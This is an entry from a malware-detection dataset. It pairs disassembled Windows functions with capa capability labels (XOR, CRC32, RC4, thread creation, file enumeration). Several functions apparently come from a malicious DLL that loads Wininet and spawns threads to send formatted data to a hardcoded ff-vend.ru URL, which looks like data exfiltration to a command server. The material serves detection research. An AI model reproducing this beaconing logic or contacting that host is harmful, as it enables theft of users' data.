joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003d650
Capabilities:
Check for software breakpoints

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x1003d687
push esi
call fcn.10044bb0
mov eax, dword [esi + 0x40]
test eax, eax
je 0x1003d680
mov dword [esi + 0x14], 0xcf
mov eax, 1
pop esi
pop ebp
ret 4
mov dword [esi + 0x14], 0xcb
mov ecx, dword [esi + 0x14]
cmp ecx, 0xcb
jne 0x1003d706
mov eax, dword [esi + 0x1b8]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x1003d6f0
nop
mov eax, dword [esi + 8]
test eax, eax
je 0x1003d6aa
push esi
call dword [eax]
mov ecx, dword [esi + 0x1b8]
push esi
call dword [ecx]
test eax, eax
je 0x1003d6e9
cmp eax, 2
je 0x1003d6f0
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x1003d6a0
cmp eax, 3
je 0x1003d6cd
cmp eax, 1
jne 0x1003d6a0
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
cmp eax, dword [ecx + 8]
jl 0x1003d6a0
mov eax, dword [ecx + 8]
mov edx, dword [esi + 0x144]
add eax, edx
mov dword [ecx + 8], eax
jmp 0x1003d6a0
xor eax, eax
pop esi
pop ebp
ret 4
mov eax, dword [esi + 0x94]
mov dword [esi + 0x9c], eax
call fcn.1003d550
pop esi
pop ebp
ret 4
cmp ecx, 0xcc
je 0x1003d71d
mov eax, dword [esi]
mov dword [eax + 0x14], 0x14
push esi
mov dword [eax + 0x18], ecx
call dword [eax]
call fcn.1003d550
pop esi
pop ebp
ret 4

Function at 0x10046036
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov edx, dword [esp + 8]
test edx, edx
jne 0x10046045
xor eax, eax
jmp 0x10046128
mov eax, dword [esp + 0xc]
cmp eax, 8
push ebx
push esi
mov esi, dword [esp + 0xc]
not esi
mov ecx, 0xff
jb 0x10046108
push edi
mov edi, eax
shr edi, 3
xor ebx, ebx
mov bl, byte [edx]
sub eax, 8
xor ebx, esi
and ebx, ecx
shr esi, 8
xor esi, dword [ebx*4 + 0x10068d10]
xor ebx, ebx
inc edx
mov bl, byte [edx]
xor ebx, esi
and ebx, ecx
shr esi, 8
xor esi, dword [ebx*4 + 0x10068d10]
xor ebx, ebx
inc edx
mov bl, byte [edx]
xor ebx, esi
and ebx, ecx
shr esi, 8
xor esi, dword [ebx*4 + 0x10068d10]
xor ebx, ebx
inc edx
mov bl, byte [edx]
xor ebx, esi
and ebx, ecx
shr esi, 8
xor esi, dword [ebx*4 + 0x10068d10]
xor ebx, ebx
inc edx
mov bl, byte [edx]
xor ebx, esi
and ebx, ecx
shr esi, 8
xor esi, dword [ebx*4 + 0x10068d10]
xor ebx, ebx
inc edx
mov bl, byte [edx]
xor ebx, esi
and ebx, ecx
shr esi, 8
xor esi, dword [ebx*4 + 0x10068d10]
xor ebx, ebx
inc edx
mov bl, byte [edx]
xor ebx, esi
and ebx, ecx
shr esi, 8
xor esi, dword [ebx*4 + 0x10068d10]
xor ebx, ebx
inc edx
mov bl, byte [edx]
xor ebx, esi
and ebx, ecx
shr esi, 8
xor esi, dword [ebx*4 + 0x10068d10]
inc edx
dec edi
jne 0x10046065
pop edi
test eax, eax
je 0x10046122
xor ebx, ebx
mov bl, byte [edx]
xor ebx, esi
and ebx, ecx
shr esi, 8
xor esi, dword [ebx*4 + 0x10068d10]
inc edx
dec eax
jne 0x1004610c
mov eax, esi
pop esi
not eax
pop ebx
ret 0xc
Function at 0x100462c9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov edx, dword [ebx + 0x24]
push esi
mov dword [ebp - 8], edx
push edi
mov ecx, dword [ebx + 0x64]
mov eax, dword [ebx + 0x34]
mov esi, dword [ebx + 0x6c]
sub eax, ecx
sub eax, esi
mov dword [ebp - 4], eax
jne 0x100462f5
test ecx, ecx
jne 0x100462ff
test esi, esi
jne 0x100462ff
mov eax, edx
jmp 0x10046370
cmp eax, 0xffffffff
jne 0x100462ff
push 0xfffffffffffffffe
pop eax
jmp 0x10046370
mov esi, dword [ebx + 0x24]
lea esi, [edx + esi - 0x106]
cmp ecx, esi
jb 0x10046370
mov edi, dword [ebx + 0x30]
mov ecx, edx
mov eax, ecx
shr ecx, 2
lea esi, [edi + edx]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebx + 0x44]
mov eax, dword [ebx + 0x3c]
sub dword [ebx + 0x68], edx
sub dword [ebx + 0x64], edx
sub dword [ebx + 0x54], edx
lea eax, [eax + ecx*2]
dec eax
dec eax
movzx esi, word [eax]
mov edi, esi
sub edi, edx
cmp esi, edx
sbb esi, esi
not esi
and esi, edi
dec ecx
mov word [eax], si
jne 0x10046335
mov eax, dword [ebx + 0x38]
mov esi, edx
lea eax, [eax + edx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edi, ecx
sub edi, edx
cmp ecx, edx
sbb ecx, ecx
not ecx
and ecx, edi
dec esi
mov word [eax], cx
jne 0x10046354
mov eax, dword [ebp - 4]
add eax, edx
mov esi, dword [ebx]
cmp dword [esi + 4], 0
mov dword [ebp - 0xc], esi
je 0x1004641d
mov edi, dword [ebx + 0x6c]
add edi, dword [ebx + 0x64]
mov ecx, dword [esi + 4]
add edi, dword [ebx + 0x30]
cmp ecx, eax
mov dword [ebp - 4], ecx
jbe 0x10046395
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1004639f
xor ecx, ecx
jmp 0x100463de
sub ecx, dword [ebp - 4]
mov eax, dword [esi + 0x1c]
mov dword [esi + 4], ecx
cmp dword [eax + 0x18], 0
jne 0x100463c1
push dword [ebp - 4]
push dword [esi]
push dword [esi + 0x30]
call fcn.100599f8
mov edx, dword [ebp - 8]
mov dword [esi + 0x30], eax
mov ecx, dword [ebp - 4]
mov esi, dword [esi]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov eax, dword [ebp - 0xc]
add dword [eax], ecx
add dword [eax + 8], ecx
add dword [ebx + 0x6c], ecx
mov edi, dword [ebx + 0x6c]
cmp edi, 3
jb 0x10046409
mov eax, dword [ebx + 0x64]
mov ecx, dword [ebx + 0x30]
lea esi, [eax + ecx]
movzx eax, byte [esi]
mov ecx, dword [ebx + 0x50]
mov dword [ebx + 0x40], eax
shl eax, cl
movzx ecx, byte [esi + 1]
xor eax, ecx
and eax, dword [ebx + 0x4c]
mov dword [ebx + 0x40], eax
cmp edi, 0x106
jae 0x1004641d
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x100462d7
pop edi
pop esi
leave
ret
Function at 0x10001660
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 8], 0
je 0x100017d9
mov ecx, dword [0x10004368]
cmp byte [ecx + 0x81], 0
je 0x100017d9
cmp dword [ecx + 0x2c], 1
je 0x10001693
cmp dword [ecx + 0x2c], 3
jne 0x100017d9
mov eax, dword [ecx + 0x24]
push ebx
push esi
push edi
mov eax, dword [eax + 0x4d]
mov dword [ebp - 8], eax
movzx eax, word [ecx + 0x30]
mov dword [ebp - 0xc], eax
mov eax, dword [0x10004370]
dec eax
je 0x1000175c
dec eax
je 0x1000172b
dec eax
je 0x10001703
dec eax
jne 0x100016ef
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x100016d5
mov edi, dword [edi + 0x12]
jmp 0x100016d8
add edi, 0x12
mov eax, dword [ecx + 0x235]
lea ebx, [ecx + 0x131]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x30]
jmp 0x1000178b
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
jmp 0x1000178b
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001723
mov edi, dword [edi + 0x2f22]
jmp 0x100016d8
add edi, 0x2f22
jmp 0x100016d8
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x10001745
mov edi, dword [edi + 6]
jmp 0x10001748
add edi, 6
mov eax, dword [ecx + 0x221]
lea ebx, [ecx + 0x11d]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x1c]
jmp 0x1000178b
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x10001776
mov edi, dword [edi + 0xa]
jmp 0x10001779
add edi, 0xa
mov eax, dword [ecx + 0x225]
lea ebx, [ecx + 0x121]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 4], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.18219
mov esi, eax
push dword [ebp - 8]
mov eax, dword [ebp - 0xc]
movzx ecx, ax
push ecx
push edi
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_ws_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100017df
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
movzx ecx, ax
cmp ecx, 0xffff
jne 0x10001959
cmp byte [0x100043e7], 0
je 0x10001945
mov eax, dword [0x10004370]
push esi
push edi
dec eax
je 0x100018c4
dec eax
je 0x10001890
dec eax
je 0x10001868
dec eax
jne 0x10001851
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x10001834
mov edi, dword [edi + 0x12]
jmp 0x10001837
add edi, 0x12
lea eax, [ecx + 0x131]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x235]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x30]
jmp 0x100018f6
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
jmp 0x100018f6
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001888
mov edi, dword [edi + 0x2f22]
jmp 0x10001837
add edi, 0x2f22
jmp 0x10001837
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x100018aa
mov edi, dword [edi + 6]
jmp 0x100018ad
add edi, 6
lea eax, [ecx + 0x11d]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x221]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x1c]
jmp 0x100018f6
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x100018de
mov edi, dword [edi + 0xa]
jmp 0x100018e1
add edi, 0xa
lea eax, [ecx + 0x121]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x225]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 8], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.18219
mov esi, eax
push 0x100043ec
push 0x270f
push edi
push dword [ebp + 8]
push dword [ebp - 4]
push dword [ebp - 8]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
mov byte [0x100043e7], 0
mov byte [0x100043ec], 0
mov esp, ebp
pop ebp
ret 4
cmp ecx, 0x8ff
jg 0x10001953
mov eax, dword [0x10004370]
cmp eax, 3
je 0x1000198d
cmp eax, 4
je 0x1000198d
cmp eax, 2
mov eax, dword [0x10004378]
jne 0x10001982
mov eax, dword [eax + 0x3c5]
jmp 0x10001998
mov eax, dword [eax + 0x3cd]
mov eax, dword [eax + 0x10]
jmp 0x1000199b
mov eax, dword [0x10004378]
mov eax, dword [eax + 0x3de]
mov eax, dword [eax + 0x20]
cmp dword [eax + ecx*4], 0
je 0x10001953
mov eax, dword [eax + ecx*4 + 0x2400]
mov dl, byte [eax]
test dl, dl
je 0x10001953
cmp byte [eax + 1], 0
jne 0x10001953
mov cl, byte [0x100043e7]
cmp cl, 0xa
jae 0x10001953
movzx eax, cl
inc cl
mov byte [0x100043e7], cl
mov byte [eax + 0x100043ec], dl
movzx eax, cl
cmp eax, 0xb
jae 0x100019e4
mov byte [eax + 0x100043ec], 0
jmp 0x10001953
call fcn.100023fa
int3
Function at 0x100019ea
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push str._log
push dword [0x1000437c]
call dword [sym.imp.MSVCR120.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x10001b47
mov eax, dword [0x1000437c]
push ebx
mov dword [ebp - 0xc], eax
mov eax, dword [0x10004370]
push esi
push edi
dec eax
je 0x10001acc
dec eax
je 0x10001a9b
dec eax
je 0x10001a73
dec eax
jne 0x10001a5f
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x10001a45
mov edi, dword [edi + 0x12]
jmp 0x10001a48
add edi, 0x12
mov eax, dword [ecx + 0x235]
lea ebx, [ecx + 0x131]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x30]
jmp 0x10001afb
mov eax, dword [ebp - 0xc]
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
jmp 0x10001afb
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001a93
mov edi, dword [edi + 0x2f22]
jmp 0x10001a48
add edi, 0x2f22
jmp 0x10001a48
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x10001ab5
mov edi, dword [edi + 6]
jmp 0x10001ab8
add edi, 6
mov eax, dword [ecx + 0x221]
lea ebx, [ecx + 0x11d]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x1c]
jmp 0x10001afb
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x10001ae6
mov edi, dword [edi + 0xa]
jmp 0x10001ae9
add edi, 0xa
mov eax, dword [ecx + 0x225]
lea ebx, [ecx + 0x121]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 8], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.18219
mov esi, eax
push dword [ebp - 0xc]
push 0x194
push edi
push ebx
push dword [ebp - 4]
push dword [ebp - 8]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001b4b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x10004400]
cmp dword [ecx], 0
jle 0x10001c43
mov eax, dword [ecx + 0xc]
cmp byte [eax], 0xd7
jne 0x10001c43
and dword [ebp - 0x28], 0
lea eax, [ebp - 0x28]
push edi
push eax
lea edx, [ebp - 0x24]
call section..text
mov edi, dword [ebp - 0x28]
pop ecx
test edi, edi
je 0x10001c42
push ebx
xor ebx, ebx
test edi, edi
jle 0x10001c41
movzx eax, ax
mov dword [ebp - 0x38], eax
push esi
cmp dword [0x10004370], 3
jne 0x10001bee
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov eax, dword [eax + 8]
cmp dword [eax + 0x2f32], 0xf
jle 0x10001bce
mov eax, dword [eax + 0x2f22]
jmp 0x10001bd3
add eax, 0x2f22
mov dword [ebp - 0x28], eax
lea eax, [ecx + 0x131]
mov dword [ebp - 0x2c], eax
mov eax, dword [ecx + 0x235]
mov dword [ebp - 0x34], eax
lea eax, [ecx + 0x30]
mov dword [ebp - 0x30], eax
push 0x400
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.18219
mov esi, eax
push dword [ebp + ebx*4 - 0x24]
push dword [ebp - 0x38]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
inc ebx
cmp ebx, edi
jl 0x10001ba5
pop esi
pop ebx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100022b3
mov esp, ebp
pop ebp
ret

Function at 0x10002154
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1000401a], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
je 0x100021ac
mov edi, str.18219
xor esi, esi
push edi
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x100021ac
push edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push esi
push esi
push 0x10001cf5
mov dword [0x10004390], eax
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0xc
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x108]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100021c5
mov esi, 0x100033e4
lea eax, [ebp - 0x108]
push 0x100033f0
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100022b3
mov esp, ebp
pop ebp
ret 4
Function at 0x10002205
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x100022ac
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push str.Wininet
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetOpenA
push eax
mov dword [0x100043f8], eax
call esi
push str.InternetOpenUrlA
push dword [0x100043f8]
mov dword [0x10004380], eax
call esi
push str.InternetCloseHandle
push dword [0x100043f8]
mov dword [0x10004384], eax
call esi
cmp byte [0x1000401a], 0
mov dword [0x10004388], eax
mov dword [0x10004374], edi
jne 0x100022aa
mov edi, str.18219
xor esi, esi
push edi
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x100022aa
push edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push esi
push esi
push 0x10001cf5
mov dword [0x10004390], eax
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0xc
pop edi
pop esi
xor eax, eax
inc eax
pop ebp
ret 0xc
Function at 0x401210
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 0xc]
xor ecx, ecx
push ebx
push esi
mov esi, dword [esp + 0xc]
mov ebx, 0x7fffffff
push edi
mov edi, dword [esp + 0x14]
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi], edx
mov al, byte [ecx + edi]
xor al, dl
mov byte [esi + ecx + 4], al
inc ecx
imul eax, edx, 0xbc8f
xor edx, edx
div ebx
cmp ecx, 0xd
jb 0x401244
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x401270
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 0xc]
xor ecx, ecx
push ebx
push esi
mov esi, dword [esp + 0xc]
mov ebx, 0x7fffffff
push edi
mov edi, dword [esp + 0x14]
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi], edx
mov al, byte [ecx + edi]
xor al, dl
mov byte [esi + ecx + 4], al
inc ecx
imul eax, edx, 0xbc8f
xor edx, edx
div ebx
cmp ecx, 0xf
jb 0x4012a4
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x403696
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4036d5
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4036d5
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4036d5
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4036d5
cmp dword [ecx + 0x74], 0xe
jbe 0x4036d5
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x409f2a
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41744c
push 0x417444
push str.FlsAlloc
push 0x1f
call fcn.00409e08
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409f5e
push dword [ebp + 8]
mov ecx, esi
call dword [0x415114]
call esi
jmp 0x409f64
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x409fa8
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41745c
push 0x417454
push str.FlsGetValue
push 0x21
call fcn.00409e08
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409fdf
push dword [ebp + 8]
mov ecx, esi
call dword [0x415114]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x409fe7
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x417464
push 0x41745c
push str.FlsSetValue
push 0x22
call fcn.00409e08
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40a021
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x415114]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40bde0
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x40be2b
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0040bf7b
test al, al
jne 0x40be25
sub edx, 2
cmp edx, edi
jne 0x40be0b
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x40be4d
lea eax, [edi + 2]
cmp edx, eax
je 0x40be4d
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0040bd2c
add esp, 0x10
jmp 0x40bf47
push esi
lea ecx, [ebp - 0x255]
call fcn.0040bf7b
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40be90
push dword [ebp - 0x25c]
jmp 0x40be3d
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x40becd
cmp word [ebp - 0x226], 0
je 0x40beee
cmp word [ebp - 0x226], ax
jne 0x40becd
cmp word [ebp - 0x224], 0
je 0x40beee
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0040bd2c
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x40bf3a
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x40bea7
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x40bf22
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x40bf47
push 0x40bb5c
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00411180
add esp, 0x10
jmp 0x40bf17
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402e35
leave
ret

Function at 0x40ca83
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x40ca94
pop esi
ret
push ebx
push edi
push esi
call fcn.0040ca4c
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0040a6d9
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x40cabc
push ebx
push esi
push edi
call fcn.00403e70
add esp, 0xc
push 0
call fcn.00409cb5
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x40ce8c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040cad1